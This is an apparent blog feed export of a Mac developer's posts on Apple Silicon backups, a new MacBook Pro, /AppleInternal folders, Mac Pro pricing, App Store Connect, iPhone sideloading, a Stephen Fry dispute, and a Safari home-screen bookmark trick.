I don't understand how creating a sparsebundle and converting to it read-only can take 3 hours, while creating a read-only disk image directly takes 10 hours. It makes no sense!

Anyway, I think my backup strategy hereafter will be to just create a sparse bundle from my Data volume, change the permissions on the backup drive so that the entire bundle hierarchy is read-only, and also make sure to to always hdiutil attach -readonly from the backup. It's very annoying and a bit error-prone, but any other strategy would waste vast amounts of time in comparison.

In conclusion, it seems to me that Apple has totally messed up backups on Apple Silicon and made them painfully more difficult, if not impossible. More and more over time, Apple is turning the Mac into a glorified iOS device. You'd never have these specific backup problems with an iPhone, because you're simply disallowed from directly accessing the file system of an iPhone. I have to wonder if that's the eventual future of the Mac too.

]]>
Impressions of the new MacBook Pro https://lapcatsoftware.com/articles/impressions-mbp.html 2022-04-19T16:30:00Z 2022-04-19T16:30:00Z I just bought a new MacBook Pro as my main development computer, because macOS Monterey doesn't support my previous main development computer — a 2014 MacBook Pro — and Xcode now requires Monterey. This will become crucial at the beginning of June with the new WWDC Xcode beta. The specs of my new MacBook Pro: 16-inch screen, M1 Pro, 16 GB RAM, 1 TB SSD. Apple lists this model at $2699 USD, but I bought it for $70 cheaper from Expercom, not only because it was cheaper but also because the arrival date from Expercom was weeks sooner than direct from Apple. (The difference is a bit puzzling.) I wanted to get the computer as soon as possible because I had some free time now and because I wanted to make sure it was all set up and ready before WWDC.

Aside: UPS

I'm talking about United Parcel Service, not Uninterruptible Power Supply. Avoid United Parcel Service if possible. They were chosen by Expercom, not by me; it was "free" delivery, but I would have gladly taken another option if presented. The delivery was scheduled for Thursday and required a signature, which is understandable given the cost of the item. I was home on Thursday when the delivery arrived, but the UPS driver attempted to enter the apartment building via a locked door rather than the unlocked door just yards (meters) away. Instead of making a small effort to turn their head and glance to the side to see the other door, the driver decided to leave without delivering the signature required package, so I had to pick it up myself on Friday at the UPS Store. I would have been happy to pick it up at the UPS Store myself on Thursday, thereby avoiding the hassle of trying to connect with the delivery driver, but the UPS web site wouldn't let me sign up for "UPS My Choice" to change the delivery instructions.

Unboxing

There were a couple of strange things right out of the box. First, the new MacBook Pro was cold. I mean ice cold. I do live in Wisconsin, and it wasn't warm outside, but it wasn't freezing cold outside, certainly nowhere near as cold as the computer. Moreover, the computer had spent a week making its way from an origin in Utah. So I can't explain why it was so cold out of the box.

The other strange thing I noticed immediately was that it had a strong odor. On investigation (sniffing closely), the odor seemed to be coming from the keyboard. The odor remained fairly strong for a day or two, but fortunately a few days later it seems to have dissipated. I've owned a number of laptops and never experienced an odor like that before.

Case

I chose Silver over Space Gray, which I feel was the correct choice. The case of the 16-inch MacBook Pro is surprisingly a few millimeters narrower than my 15-inch 2014 MacBook Pro. The new case is significantly taller than the old case though, and I think slightly heavier. The new case is boxy, whereas the old case is somewhat rounded on top and bottom and more rounded in the corners than the new case.

I really wish that the new MacBook Pro had a USB-A port. There's plenty of space, because it has one fewer port than the 2014 MacBook Pro.

MacBook Pro ports

The worst part of not having a USB-A port is that I need a dongle for my YubiKey. I also need a dongle for every USB thumb drive I own. Ridiculous!

MagSafe

The new MagSafe is more difficult to attach and detach than the old MagSafe, which makes the new MagSafe inferior. The old MagSafe can be yanked out by the cord, which means crucially that your laptop can't be yanked off the desk by the cord! This was a safety measure to protect your valuable device from damage, but this safety measure no longer exists. That's a downgrade.

The cord of the new MagSafe is thicker and stiffer, one reason why it's more difficult to maneuver onto the connector. Another reason is that the new connector itself is farther away from the back of the machine, messing with muscle memory. This morning I was fumbling around in the dark trying to attach the MagSafe to the new MacBook Pro, because it was difficult to do by feel alone. You can compare connector locations in the photo above.

Boot

The familiar Mac "bong" sound is played on boot, which is reassuring.

I don't like the new boot screen background "Chroma Blue". It looks nightmarish, and I wish I could change it. That would probably require disabling SIP, right?

Chroma Blue

Notch

The MacBook Pro now has a notch at the top of the screen, like an iPhone. The good news is that the notch doesn't bother me. I don't really notice it. However, it would be nice to be able to make the menu bar fully black in light mode to match the notch. By default, the menu bar is grayish in light mode. (If Reduce transparency is enabled in Accessibility System Preferences, the menu bar and Dock are white.) I haven't yet noticed a main menu conflict with the notch; having the 16-inch screen rather than a 14-inch screen probably helps avoid that.

Keyboard

Other than the initial odor, I've enjoyed typing on the keyboard. I feel that it's actually a little better for typing than my 2014 MacBook Pro. My speed and accuracy are excellent on the new Mac.

My only remaining complaint about the keyboard is the top function key row. The escape key is much wider than on my 2014 MacBook Pro and my older 2006 MacBook Pro, and much wider than the key below it. This messes up more than 15 years of muscle memory for the F1 and F2 brightness keys, which I use every day.

2022 escape key
2014 escape key

Those keys look gross close up, don't they? Sorry!

Battery

Battery life is excellent. It's much longer than my 2014 MacBook Pro, at least twice as long if not longer. I haven't bothered to measure the exact length of time. I still wish there was a user replaceable battery though, like in my 2006 MacBook Pro, because the battery will assuredly go bad eventually, as all batteries do. I've had to get the battery replaced in my 2014 MacBook Pro twice, which was an ordeal each time.

Trackpad

The new trackpad seems less accurate in registering clicks than the 2014 MacBook Pro, which didn't have Force Touch. The new trackpad was overly sensitive to clicks until I switched Trackpad Click System Preferences to Firm from the default Medium. Now it seems slightly insensitive to clicks, but I prefer that to oversensitive. In either case, it's definitely not perfect, and in my opinion worse than the old trackpad.

System Preferences, Trackpad, Click

Speed

The new MacBook Pro is noticeably faster in some ways than the 2014 MacBook Pro, but not massively faster in my experience so far. I believe that most of the difference for me is actually faster file system operations with the newer, faster SSD in the new MacBook Pro. I don't do a lot of things that require a faster CPU. My Xcode projects are relatively small and are written in Objective-C rather than Swift, so they already compiled quite fast the the 2014 MacBook Pro. Now they compile slightly faster, but not enough to make a significant difference.

16 GB of RAM seems plenty for me. As it was with the 2014 MacBook Pro. My work doesn't require vast amounts of memory. In fact, 8 GB of RAM seems plenty in the M1 Mac mini that I bought as a test machine back in 2020, though I don't use that computer as extensively as the MacBook Pro.

Software

If I recall correctly, my new MacBook Pro came with macOS Version 12.2.1 installed, so I had to immediately update to 12.3.1. However, I don't know when the computer was manufactured or how long Expercom had it in stock before sale. March 14 is when macOS 12.3 was released (and 12.3.1 on March 31).

As I discussed in yesterday's blog post, the computer came with an /AppleInternal folder inexplicably installed on disk.

In general, Monterey seems buggier than Big Sur. I've already found a number of new bugs while using the new Mac full time for a few days. One bug related to setting up the machine is that Contacts failed to import the Contacts Archive that I exported from the 2014 MacBook Pro. There was no error message, it just didn't work, leaving zero contacts. I was able to successfully export and import the vCards though.

I don't think Monterey is specifically problematic, I just think the annual OS release cycle is too fast and doesn't leave time for quality assurance, so every new major OS version is worse than the one before. Apple needs to get off that cycle.

Conclusion

To be honest, I didn't want to buy a new Mac right now. I've been holding out for a matte nano-texture display on the MacBook Pro. Nonetheless, I felt I had to pull the trigger, with macOS and Xcode making my 2014 MacBook Pro obsolete, and WWDC imminent. If Apple releases a nano-texture MacBook Pro in the future, then maybe I'll upgrade to that and sell this new machine. In the meantime, my new MacBook Pro seems fine for my purposes. The bigger screen gives me more room to work, and the speed improvements, while not astonishing, are welcome.

Still, I'll go to my grave swearing by the design of the 2006 17-inch MacBook Pro as "Peak Mac". Put a new CPU in that, and I'd be in heaven!

]]>
Why is /AppleInternal factory installed on new Macs? https://lapcatsoftware.com/articles/AppleInternal.html 2022-04-18T12:55:00Z 2022-04-18T12:55:00Z I just bought a new MacBook Pro, because macOS Monterey doesn't support my 2014 MacBook Pro. I'll blog in more detail about the new MacBook Pro later, but I want to mention something very odd that I quickly discovered: there was an empty AppleInternal folder in the root / folder of Macintosh HD. This was visible in Finder.

The /AppleInternal folder, as its name suggests, is used by Apple engineers for internal development purposes. Some people external to Apple have discovered that creating an /AppleInternal folder on your Mac can cause behavior changes in macOS that may be useful for development purposes. It may also have some undesirable side effects. I don't know the exact details offhand, but I've definitely heard of /AppleInternal before, and the Apple developer community has known of it for quite a while. The question, though, is how did this folder intended for Apple internal development get installed in the factory on a Mac intended for consumers?

I'm not the only person who's seen /AppleInternal on a new Mac. Michael Tsai told me that he saw it on his new MacBook Pro too. And there are reports of it on the web, such as a reddit user who found /AppleInternal on a new M1 MacBook Air.

One minor but annoying side effect of /AppleInternal is that it messes up /Applications path autocompletion in Terminal, so I decided to remove the /AppleInternal folder. On macOS Monterey, /AppleInternal is actually a firmlink. Apple introduced firmlinks in macOS Big Sur and discussed them the 2019 WWDC session What's New in Apple File Systems but otherwise hasn't provided much documentation. Firmlinks are not the same as symbolic links or hard links. Basically, a firmlink is a connection between the read-only system volume and the read-write data volume. Although you can't remove /AppleInternal directly, you can remove the folder /System/Volumes/Data/AppleInternal with the command sudo rmdir /System/Volumes/Data/AppleInternal in Terminal. Then after you reboot, the /AppleInternal firmlink will be gone.

You can see the list of firmlinks by looking at the contents of the /usr/share/firmlinks file. The entry /AppleInternal AppleInternal exists in the file regardless of whether the folder /System/Volumes/Data/AppleInternal exists on disk. If the folder does exist, then macOS creates a firmlink for it.

Apple needs to explain to the public why new Macs are arriving with an /AppleInternal folder. I personally believe that it's just a mistake and not the result of supply chain tampering, but the unpleasant fact remains that these devices are manufactured in a totalitarian nation, so the latter possibility cannot be totally dismissed. Whatever the explanation, it looks like something is going wrong, and the problem ought to be corrected.

]]>
Mac Pro historical perspective https://lapcatsoftware.com/articles/macpro.html 2022-04-05T15:40:00Z 2022-04-05T15:40:00Z Thanks to Mactracker for maintaining historical lists of Mac models and prices.

The Mac Pro was introduced in 2006 at a base price of $2499. However, the Mac Pro was effectively the Intel successor to the PowerPC Power Mac. The computer case design was introduced in 1999 with the Power Macintosh G3 and remained mostly the same in fundamentals ever since, except for the "trash can" period of 2013 to 2018.

Power Macintosh G3 Blue and White

Below is a historical list of changes in the base price of the Mac Pro and Power Mac. There are short-lived periods of a few months when the base price was a little lower or higher, but I've not included those specific models because they would add unnecessary complication to the table without changing the trends significantly.

1999 Power Mac G3 $1599
2001 Power Mac G4 $1699 +6%
2003 Power Mac G5 $1999 +18%
2006 Mac Pro $2499 +25%
2013 Mac Pro ("trash can") $2999 +20%
2019 Mac Pro $5999 +100%

The overall US inflation rate between 2013 and 2019 was 10%, not 100%. For comparison, the Late 2013 21.5 inch iMac had a base price of $1299, and the 2019 21.5 inch iMac had a base price of… $1299, an increase of 0%.

Prior to 2013, the Mac Pro and Power Mac had been relatively affordable for individual creative professionals (as opposed to corporate and other institutional buyers with vast sums of money). These computers were quite common among my fellow software developers, and indeed I personally bought a 2010 Mac Pro. In a 2017 interview about the Mac Pro, Apple Senior Vice President Craig Federighi said "it’s possible software developers are actually our largest pro audience."

I would argue that the Mac Pro as we software developers knew it was never given a successor after the "trash can". The Mac Pro was discontinued and replaced with a different computer of the same name that was no longer for its largest pro audience. I don't know many individual software developers now who can afford a new Mac Pro. I certainly can't. The Apple news media gleefully exclaim "The new Mac Pro is not for you!", but the problem is that the old Mac Pro was for people like me, as proven by the fact that I had one, as well by Federighi's statement that it was for people like me. In my eyes, the 2019 Mac Pro was a betrayal of Apple's 2017 assurances.

This year the new Mac Studio was introduced. In contrast with the obscene, historically unprecedented price of the new Mac Pro, the base price of the Mac Studio is an affordable $1999. Unfortunately, the internals of the Mac Studio are crowded into a small case of approximately the same design as a Mac mini. The consequences of this case design is that the Mac Studio is non-upgradable in every way, a stark contrast to the 2012 and earlier Mac Pro, the open case design of which allowed trivial user replacement of almost every internal part. The Mac Pro used to be a machine built for the future, not for the apparent planned obsolescence of the Mac Studio.

I don't understand why we have to make these painful tradeoffs in 2022 when they weren't necessary in 2012. Ten years ago we had relatively affordable, conveniently upgradable Mac Pro models. Since then we gained a faster CPU, but otherwise we've lost everything else great about the Mac Pro. I've seen a lot of celebration lately about a "Mac Renaissance", but I don't see how that's objectively justified from an historical perspective.

]]>
App Store Connect is the worst web site ever made https://lapcatsoftware.com/articles/crappstoreconnect.html 2022-03-31T15:30:00Z 2022-03-31T15:30:00Z App Store Connect is the web site that members of the Apple Developer Program use to manage their App Store apps. I check it daily to see yesterday's sales numbers (live App Store sales numbers are haphazard at best and have stopped working entirely the past week) and to check for new App Store user reviews of my apps. Inexplicably, Apple provides no email notification service for these, so developers have to check manually. The site runs incredibly slowly, with pages taking forever to load — it feels like it's running on ancient hardware — and the user interface is atrocious. But the worst part of App Store Connect is this:

"Remember me", but it doesn't remember me. The checkbox simply doesn't work. Why? Simple answer: App Store Connect uses session cookies, which expire and disappear from your web browser when the current session ends, such as when you quit the browser or close all of the windows. Thus, you have to login anew every time. This is not an April Fools joke, it's real! I'm writing on March 31.

Every other non-Apple web site in the world that I login to remembers me between browser sessions, indeed effectively forever until I logout. That's how it should be, and the simple solution for App Store Connect would be to use permanent cookies, like every other web site, instead of session cookies. The irony is that App Store Connect requires Two Factor Authentication, which means that there's even more security and thus even less reason to expire login cookies.

A related problem is that App Store Connect periodically expires the Two Factor Authentication too, and forces you to go through that process again! (Usually at the most personally inconvenient time, and every Apple device in your home simultaneously makes a startling noise.) This doesn't happen with every session, but Apple tends to prompt you at least once a month. Again, this is unlike every other non-Apple web site in the world, which only prompts you for Two Factor Authentication the first time you login.

Apple has an App Store Connect app in the iOS App Store, but there's no Mac version of the app, so developers are forced to use a web browser on the desktop.

Every member of the Apple Developer Program (except a few exempt non-profit organizations who have submitted the extensive paperwork) pays $99 USD per year, and every developer who accepts payments in the App Store pays Apple a 30% or 15% cut of those payments (the amount depending on subscription status or Small Business Program membership). These payments add up to billions of dollars per year for Apple. I can say with the certainty of experience that Apple is not investing this money in crucial developer services such as App Store Connect. We developers are getting ripped off. And don't even get me started on Apple's nearly worthless "developer support"…

I'm talking about this not just to complain but hopefully to raise a big public stink, get Apple's notice, and prompt them to make the simple change of using permanent cookies instead of session cookies for App Store Connect login, thereby offering some relief to Apple developers who have to use the worst web site ever made, no contest.

]]>
Do you want me to leave the Apple ecosystem? https://lapcatsoftware.com/articles/sideloading.html 2022-03-26T17:05:00Z 2022-03-26T17:20:00Z "If you want sideloading, then you can just buy an Android phone."

This is an ubiquitous response to the request that Apple unlock iPhone and allow installation of software from outside the App Store (which has always been possible on the Mac). It reminds me of the "America, love it or leave it" response to criticism of US government policies. Here's my serious question: are you serious? Do you want me, a longtime software developer in the Apple ecosystem, to discontinue my iOS and Mac apps, pack up, and switch to different operating systems? Is that what you want? Moreover, do you want all supporters of so-called "sideloading" among iPhone developers and users to also ditch their iPhones and switch to Android, leaving only the lockdown adherents in the Apple ecosystem? Is the world you want one where buying and using an electronic device requires having a particular ideology?

Incidentally, the term "sideloading" is highly misleading. For most of the history of personal computing, software was loaded via disk drives, which were typically positioned at the front of the computer. So a more accurate term would be "frontloading". Nonetheless, I'll continue to say "sideloading" here to follow the unfortunate common usage.

How many iPhone users would leave, if sideloading supporters seriously followed the suggestion to switch to Android? I don't know exactly. Does anyone? Has there been any public polling of sideloading support? Anyway, I do know that many (though not all) of my fellow software developers do support iPhone sideloading, so if we left, the remaining iPhone users would be deprived of our software. The Apple ecosystem itself would suffer noticeably if we left. Good riddance, you might say… to apps that many iPhone users love?

I suspect that the suggestion is not actually serious, and you don't want all sideloading adherents to leave the Apple ecosystem. I doubt that Apple wants us to leave either, because that would mean lost apps from software developers and lost money in hardware sales and "services" from users. The real motivation behind the suggestion that "you can just switch to Android" is just to stifle open criticism of Apple and its policies. The suggestion is not to switch away from iPhone but rather to STFU. This is one reason why we should always dismiss the above quoted response to sideloading as empty rhetorical garbage. It's effectively, "If you want sideloading, then I don't care, I don't want to hear it."

I have to ask lockdown adherents, what do you make of people who want sideloading but nonetheless still use iPhone? In your mind, is it a complete mystery that these iPhone users haven't simply switched to Android? How do you explain the phenomenon, the very existence of iPhone users who want sideloading? Or let me put it another way: would you argue that App Store lockdown is the only advantage and selling point of iPhone over Android phones? I'm certain that Apple itself would not argue this. In fact I've never seen an iPhone commercial that specifically touts "You cannot sideload software", a very odd omission if that were in fact the primary advantage of iPhone over Android. Funny how Apple doesn't sell iPhone based on that supposed selling point, eh? On the other hand, I do remember Apple touting "There's an app for that." But there wouldn't be an app for that if the software developers who want sideloading all left. So why are you suggesting that we leave?

Sadly, the consumer mobile operating system market is a duopoly. Apple and Google together have nearly 100% of the mobile OS market. Even more sadly, the consumer desktop computing operating system market is also a duopoly, this time with Apple and Microsoft. All together, only 3 companies control nearly 100% of the personal computing operating system market on both mobile and desktop. This is a terrible state of affairs for consumers, leaving very little choice. It's not a healthy, competitive market by any stretch of the imagination. A duopoly is technically "a choice", but it's no more than that. One choice, not multiple choices. It's a choice in the same way that US politics is a choice: if you don't like shitty corrupt corporate Democrats, then you can just… vote for Republicans, who deny climate change, evolution, medicine, basically all science and reality, not to mention the results of the last election. Well, don't blame me, I voted for Kodos! My point is that given we only have two choices for mobile operating system, it's not necessarily an easy, happy choice, and we may just choose the lesser of evils, acknowledging that we don't like some aspects of our choice. There are reasons to choose iPhone, even if you hate the lockdown. A smartphone is not a simple device. Quite the opposite, it's an extremely complicated device, one of the most advanced electronic devices ever made, with countless features. In choosing which smartphone to buy, you have to look at all of the features, the various pros and cons, and ultimately strike a balance, because it's rare that you can get everything exactly as you want, especially in a noncompetitive market with only two operating systems. You don't "just" switch to Android.

My own journey to the iPhone starts and ends with the Mac. And I would argue that Mac was essential to iPhone's success in a number of ways, just as it was for iPod, even though both products eventually surpassed Mac in popularity (in fairness, they're both less expensive to purchase than Mac). Mac enthusiasts were among the first to adopt iPod and iPhone and popularize them. Moreover, Apple's technical and financial resources to build those products came primarily from Mac. The iPhone operating system was based on the Mac operating system; (in)famously, the release of Mac OS X 10.5 Leopard was delayed because Apple "borrowed" Mac engineers for the iPhone project. (I doubt the iPhone project ever returned the engineers they borrowed.) I had already been a Mac software developer for several years before iPhone and the iPhone SDK were released. For third-party Mac developers, the selling point of the iPhone SDK was that UIKit, the iPhone's user interface framework, was based on AppKit, the Mac's user interface framework. And they both used the same programming language, Objective-C, that we Mac developers — and only we Mac developers! — were already familiar with. So our preexisting Mac programming skills were quickly and easily transferable to iPhone. Speaking personally, I'm an iPhone developer because I'm a Mac developer, and for no other reason. I've always hated the App Store lockdown, though, and always wanted software installation with as much freedom as the Mac.

There's almost no overlap between Mac and Android development, from either a programming perspective or a customer perspective, which is why I don't "just switch" to Android. And I still prefer Mac to Windows, though I'm saddened by the "iOSification" and increasing lockdown of the Mac over the past decade. I wish desktop wasn't a duopoly either, that there was more OS competition. I've heard that Windows has been experimenting recently with pushing advertising in the operating system, as well as requiring login to a Microsoft online account just to use Windows at all, so the grass is definitely not greener on the other side.

One More Thing

This blog post is already wordy, so I won't discuss in detail here the various (fallacious) arguments against sideloading. I just want to make one point. I deny the fundamental assumption behind iPhone lockdown: it's empirically mistaken to claim that App Store is safer for unsophisticated users than the so-called "wild west" of external distribution. App Store is a scammer's paradise, the "best" platform for criminals ever built. It's chock full of crapware, squatting on popular search keywords, cheaply and plentifully purchasing fake ratings and reviews, tricking customers with dark patterns and weekly auto-renewing subscriptions, almost inexplicably getting past app review with the greatest of ease. And scammers get all of the benefits that App Store supposedly provides to developers: handling payments, distribution, and updates, as well as stamping Apple's "seal of approval" on all software distributed from there. Inspected by #7.

App Store has been open for well over a decade, yet in all that time, Apple has shown little appetite for cracking down on scams. The worst aspect, though, is the hypocrisy of the lockdown defenders. The sophisticated computer users who claim that App Store is safer for unsophisticated users do not themselves trust Apple's app review! And of course you'd be insane to trust app review, if you have any knowledge of how it works, which is not well. App store review is superficial at best, reviewers seem ignorant with no expertise, they're maddeningly inconsistent, and the concern seems to be more protecting Apple's intellectual property than protecting iPhone users. Let me repeat: App Store lockdown defenders do not themselves trust Apple's app review. They don't install rando, unknown apps, comfortable in the safe, warm embrace of Apple's "walled garden". Rather, sophisticated computer users discover software the "old fashioned" way: recommendations from friends and other trusted sources such as the professional news media. Maybe the lockdown defenders aren't cognizant of their own behavior? You're doing unsophisticated users a disservice by lowering their guard and telling them to trust Apple app review. The truth is that if you care about unsophisticated computer users, absolutely do not let them download unsupervised from the App Store. It's not safe at all. The people who get scammed on the crap store are the unsophisticated users that App Store was supposed to protect.

]]>
Misinformation from… Stephen Fry? https://lapcatsoftware.com/articles/stephenfry.html 2022-02-22T15:55:00Z 2022-02-22T15:55:00Z Misinformation from… Stephen Fry?

February 22 2022 by Jeff Johnson
Support this blog: StopTheMadness, Tweaks for Twitter, StopTheScript, Link Unshortener, PayPal.Me

The world-famous Stephen Fry tweeted yesterday about my Safari extension Tweaks for Twitter. Under most circumstances I'd be thrilled if someone with over 12 million followers tweeted about my software. Unfortunately in this case, Mr. Fry's tweets were mistaken about my software and potentially damaging to its reputation.

@stephenfry

The story, as told by the previous tweets in Mr. Fry's thread, is that he was confused his Twitter looked different from "normal" Twitter. This is actually a feature of Tweaks, to hide typically annoying elements on the page, but Mr. Fry clearly forgot he had installed Tweaks, and spent some time trying to determine the cause of the difference before discovering that it was Tweaks. I am sorry that he had to spend so much time on this problem. The story might have ended there, except that Mr. Fry mistakenly concluded that he needed to disable Tweaks (instead of simply changing its preferences) and that disabling Tweaks required deleting the app from his Mac. As a little indie developer trying to stay afloat, I was distressed that a Twitter account with such a massive following would publish misleading tweets that could scare potential customers away from my software.

I'm not angry with Stephen Fry, though I am disappointed. I'm also not going to sue Stephen Fry, though I do wish he would tweet a correction. I don't know whether he'll ever see this blog post, and I doubt that he ever saw my reply to his tweet; it's incredibly difficult to get the attention of a celebrity, since everyone is trying to get the attention of a celebrity. My blog post isn't intended to get Stephen Fry's attention — which seems very unlikely — but rather just to talk about my bizarre experience. In a sense, this post is more about Safari extensions than about Stephen Fry.

The main question on my mind is, how did Stephen Fry come to mistaken conclusions about Tweaks? After all, Tweaks has a toolbar item in Safari that you can use to view and change the preferences of the extension. This toolbar item has a blue color when you're visiting Twitter in Safari, gray when you're not, so it ought to stand out as affecting Twitter.

Tweaks active in Safari toolbar Tweaks inactive in Safari toolbar

I have to start by assuming that Mr. Fry customized Safari's toolbar and removed the Tweaks icon, otherwise it would have been pretty obvious that Tweaks was active on Twitter, and that he could have changed his Tweaks preferences. It may be natural and common to remove the toolbar item, as there's rarely a need to change the preferences of Tweaks once you've configured them to your, uh, preference. The likeliest scenario is that Mr. Fry installed Tweaks, removed the toolbar item, and then eventually forgot he installed the extension.

If Mr. Fry didn't see Tweaks in Safari's toolbar, then he must have ultimately found it in Safari's Extensions Preferences.

Tweaks enabled in Safari Extensions Preferences pane

Tweaks does have its own Preferences button in this window, so it's unclear why Fry didn't use that. I'd have to guess that he had already reached the point where he was single-mindedly focused on disabling the extension, given that he tweeted "I’ve lost myself in Settings for hours trying to get to the bottom of it." In reality, there are a couple of ways to disable an extension from within Safari Preferences. Unchecking the checkmark in the sidebar will accomplish that, though sadly the checkbox has no tooltip explaining its function.

Tweaks disabled in Safari Extensions Preferences pane

Another way to disable Tweaks is to remove its access to twitter.com by pressing the Edit Websites… button and switching from Allow to Ask or Deny. By the way, I should note that the support page for Tweaks has a guide for installing and also disabling the Safari extension.

Tweaks in Safari Websites Preferences pane

Instead of the aforementioned methods of disabling the extension, Mr. Fry apparently went for the Uninstall button. I don't really blame him, as that would be the most obvious method of disabling the extension to users looking at the Preferences window. Counterintuitively, however, the Uninstall button doesn't actually uninstall the extension.

The Tweaks for Twitter extension is part of the Tweaks for Twitter application.

The Uninstall button in the Extensions pane is a bit of an historical artifact. I've discussed the history of Safari extensions extensively in my blog post The decimation of Safari extensions. Years ago, Safari extensions used to be self-contained, and the Uninstall button would indeed uninstall them. In the App Store era (Safari extensions predated the Mac App Store), Apple has decided that all Safari extensions must now be distributed inside of a native app bundle. Thus, in order to uninstall a Safari extension entirely, you must delete the containing app. Otherwise the extension will continue to appear in the Safari Extensions Preferences sidebar. (But you can still disable extensions, as explained above.)

I've now filed a Feedback with Apple numbered FB9920704 and titled "The Uninstall button is confusing to users, including the world famous Stephen Fry". Ever since I've started developing Safari extensions, I've felt that the user interface has been confusing to users in a number of ways, and I filed several other Feedbacks previously. Hopefully the Safari team will address these someday.

I'm trying to take the whole situation with good humor. I certainly don't believe Stephen Fry was malicious. I do believe that with great power — and great Twitter following — comes great responsibility. It wasn't irresponsible to request technical help on Twitter, but it was irresponsible to state falsehoods about my software. So yeah, "I am an arse" was not entirely inaccurate. You know who you are. ;-)

Support this blog: StopTheMadness, Tweaks for Twitter, StopTheScript, Link Unshortener, PayPal.Me

]]>
How to make a home page bookmark to Twitter in Mobile Safari https://lapcatsoftware.com/articles/pwa.html 2022-02-03T14:30:00Z 2022-02-03T19:45:00Z How to make a home page bookmark to Twitter in Mobile Safari

February 3 2022 by Jeff Johnson
Support this blog: StopTheMadness, Tweaks for Twitter, StopTheScript, Link Unshortener, PayPal.Me

A customer of my Safari web extension Tweaks for Twitter asked me how to add a bookmark to their iOS home screen to open Twitter in Mobile Safari. The Add to Home Screen command in the Safari share menu is supposed to accomplish this, but with Twitter the resulting bookmark behaves strangely: it doesn't actually open in Safari! Consequently, the bookmark is practically useless if you want to use web extensions, which only work in Safari.

Safari share menu

When you create the bookmark in Safari, everything appears to be fine. By the way, the full URL here is https://mobile.twitter.com/?utm_source=homescreen&utm_medium=shortcut, which means that whenever you open the home screen bookmark, Twitter knows that you opened a home screen bookmark.

Add to Home Screen https://mobile.twitter.com

Afterward you can see an icon on your home screen that looks just like the Twitter app.

Twitter PWA

Nonetheless, when you open the bookmark, it doesn't open in Safari.

Join Twitter today.

The bookmarked web page turns out to be a Progressive Web App (PWA). When you load mobile.twitter.com in Safari, the page signals that it supports PWAs, and thus Safari creates a PWA when it adds a bookmark for Twitter to your home screen. PWAs run separately from Safari and lack some of the features of Safari, such as web extensions.

Is there a way to create a normal bookmark on your home screen to mobile.twitter.com in Safari? Yes! I've discovered a trick to this, but the trick involves another one of my Safari web extensions, StopTheScript, which stops all JavaScript on your selected websites.

This trick cannot be accomplished simply by disabling JavaScript in Safari Advanced Settings. You can try that yourself to see how it fails.

JavaScript is not available.

Twitter can detect that JavaScript is disabled in Settings, and in this case Twitter still signals that it supports PWAs. So if you add to home screen, the bookmark is still a PWA.

Now let's try StopTheScript instead.

StopTheScript would like to access mobile.twitter.com.

Tap "Allow for One Day" to enable StopTheScript to run on mobile.twitter.com, and then reload the page.

twitter.com with no text.

Notice that Twitter hasn't detected that JavaScript is disabled. That's because StopTheScript uses a different technique for disabling JavaScript than Safari itself. It's my own little trick. Now we can add to home screen again.

Add to Home Screen https://mobile.twitter.com/home

The name is blank, because Twitter is no longer advertising PWA support. Just enter "Twitter" manually for the name.

Twitter home page bookmark

This time the bookmark icon is a screenshot of the web page. However, the icon will actually transform into the Twitter app icon after you open the bookmark! You don't want to open it quite yet though, because JavaScript is still disabled on Twitter. First go back to Safari Extensions Settings.

Safari Extensions Preferences, Permissions for StopTheScript

StopTheScript is currently allowed to access mobile.twitter.com, so you just need to switch it from "Allow" to "Ask", and then JavaScript will be enabled again on Twitter.

mobile.twitter.com Ask

And that's it! Your home screen bookmark will open Twitter in Safari instead of in a PWA. I don't know why Apple makes this so difficult, but I'm happy to provide a solution.

Support this blog: StopTheMadness, Tweaks for Twitter, StopTheScript, Link Unshortener, PayPal.Me

]]>
Siri may phone home with Ask Siri disabled https://lapcatsoftware.com/articles/siri.html 2022-01-02T21:50:00Z 2022-01-02T21:50:00Z iOS 15.2 broke Safari extension preferences storage https://lapcatsoftware.com/articles/storage.html 2021-12-14T14:55:00Z 2021-12-14T14:55:00Z You always had the power to PiP on YouTube and everywhere https://lapcatsoftware.com/articles/pip.html 2021-12-01T16:20:00Z 2021-12-01T16:20:00Z Safari bug: background tabs reactivate https://lapcatsoftware.com/articles/background.html 2021-11-29T13:45:00Z 2021-11-29T13:45:00Z Safari forgets your history https://lapcatsoftware.com/articles/history.html 2021-11-21T22:45:00Z 2021-11-21T22:45:00Z DNSServiceNATPortMappingCreate was quietly killed in macOS Monterey https://lapcatsoftware.com/articles/portmapping.html 2021-11-02T14:40:00Z 2021-11-02T14:40:00Z Mass confusion and dislike over Safari extension icon tinting https://lapcatsoftware.com/articles/blues3.html 2021-10-15T15:35:00Z 2021-10-15T15:35:00Z Apple vandalized my icon in the latest betas https://lapcatsoftware.com/articles/blues2.html 2021-10-14T14:15:00Z 2021-10-14T14:15:00Z Did iOS 15 kill Google AMP? https://lapcatsoftware.com/articles/amp.html 2021-10-06T14:10:00Z 2021-10-06T14:10:00Z StopTheScript https://lapcatsoftware.com/articles/StopTheScript.html 2021-10-06T00:40:00Z 2021-10-06T00:40:00Z The Safari extension blues https://lapcatsoftware.com/articles/blues.html 2021-09-30T13:45:00Z 2021-09-30T13:45:00Z Where are the Safari extensions in the iOS App Store? https://lapcatsoftware.com/articles/iOSextensions.html 2021-09-21T16:00:00Z 2021-09-21T16:00:00Z Google Chrome to remove detailed cookie and site data controls https://lapcatsoftware.com/articles/chrome-cookie.html 2021-09-03T13:40:00Z 2021-09-03T13:40:00Z Why Xcode tools are slow after reboot https://lapcatsoftware.com/articles/xcrun.html 2021-08-28T19:00:00Z 2021-08-28T19:00:00Z The color purple https://lapcatsoftware.com/articles/purple.html 2021-08-24T22:40:00Z 2021-08-24T22:40:00Z Dark menu bar and Dock on Big Sur https://lapcatsoftware.com/articles/dark.html 2021-08-21T20:35:00Z 2021-08-21T20:35:00Z Disappearing Safari extensions https://lapcatsoftware.com/articles/disappearing-safari.html 2021-08-18T15:20:00Z 2021-08-18T15:20:00Z Mac OS update failed for the first time in 19 years https://lapcatsoftware.com/articles/macBS.html 2021-08-16T21:15:00Z 2021-08-16T21:15:00Z Twitter locked my account (again) for an obvious joke https://lapcatsoftware.com/articles/twitter4.html 2021-07-22T15:50:00Z 2021-07-22T15:50:00Z Stop the Medium https://lapcatsoftware.com/articles/medium.html 2021-07-13T14:30:00Z 2021-07-13T14:30:00Z Safari extension development: icons https://lapcatsoftware.com/articles/2021-7-7.html 2021-07-07T20:10:00Z 2021-07-07T20:10:00Z iOS Safari extensions bug 